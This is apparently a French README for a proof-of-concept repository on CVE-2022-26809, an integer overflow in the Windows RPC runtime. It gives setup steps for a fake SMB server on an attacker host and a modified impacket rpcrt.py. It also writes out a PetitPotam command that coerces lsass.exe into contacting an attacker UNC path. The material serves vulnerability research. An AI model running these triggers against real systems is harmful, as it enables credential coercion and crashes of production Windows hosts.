
PoC et analyse pour CVE-2022-26809, une vulnérabilité de débordement d'entier dans le runtime RPC Windows. Inclut des scripts de déclenchement utilisant le relais de chemin UNC de style PetitPotam pour exploiter lsass.exe via des requêtes ESFRPC.
Ce dépôt est simplement une recherche pour la CVE, pour une analyse plus détaillée, veuillez vous référer ici.
MISE À JOUR:05/19 2022
Cette analyse n'est pas encore terminée....
MISE À JOUR:05/22 2022
HuanGMz Post et le blog corelight montrent le véritable point vulnérable :
OSF_CASSOCIATION::ProcessBindAckOrNak

Cette vulnérabilité est déclenchée comme CVE-2021-43893, lorsqu'on envoie la requête ESFRPC à lsass.exe avec un chemin UNC, la victime tentera d'accéder à la cible en tant que client, ce qui déclenchera un débordement d'entier dans l'API client
Si vous avez une meilleure solution pour déclencher cette vulnérabilité, n'hésitez pas à soumettre une issue ou une pr :)
Parce que la vulnérabilité se déclenche comme CVE-2021-43893, clonez simplement le code PetitPotam.
Préparez l'environnement comme indiqué ici:

fake_smb_server.py sur le serveur-attaquant après avoir remplacé le fichier rpcrt.py par l'original(Parce que le port 445 est occupé par le système sous Windows, il est recommandé de déployer le service sur Linuxpython petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Cependant, je n'ai pas réussi à déclencher un BSoD, mais d'après windbg, le débordement d'entier a été déclenché)Ancienne description
Voici le code de reproduction pour la vulnérabilité RPC Windows CVE-2022-26809, et il se réfère à https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Ma version de Python est 3.6.7
Pas sûr que GetCoalescedBuffer soit impliqué dans le vrai CVE-2022-26809, je le garde juste
le poc.py essaie juste déclencher la fonction vulnérableOSF_SCALL::GetCoalescedBuffer, il ne provoquera aucun crash car le débordement d'entier dword est trop difficile à reproduire.Et le rpcrt.py est le package python impacket.dcerpc.v5.rpcrt,remplacez-le simplement par l'original pour déclencher la vulnérabilité (N'oubliez pas de sauvegarder l'original :) Je crois que le rpcrt.py a énormément de bugs).
Si cela ne fonctionne pas, peut-être que Wireshark peut aider à localiser le bug.
si nécessaire, utilisez simplement nmake pour le reconstruire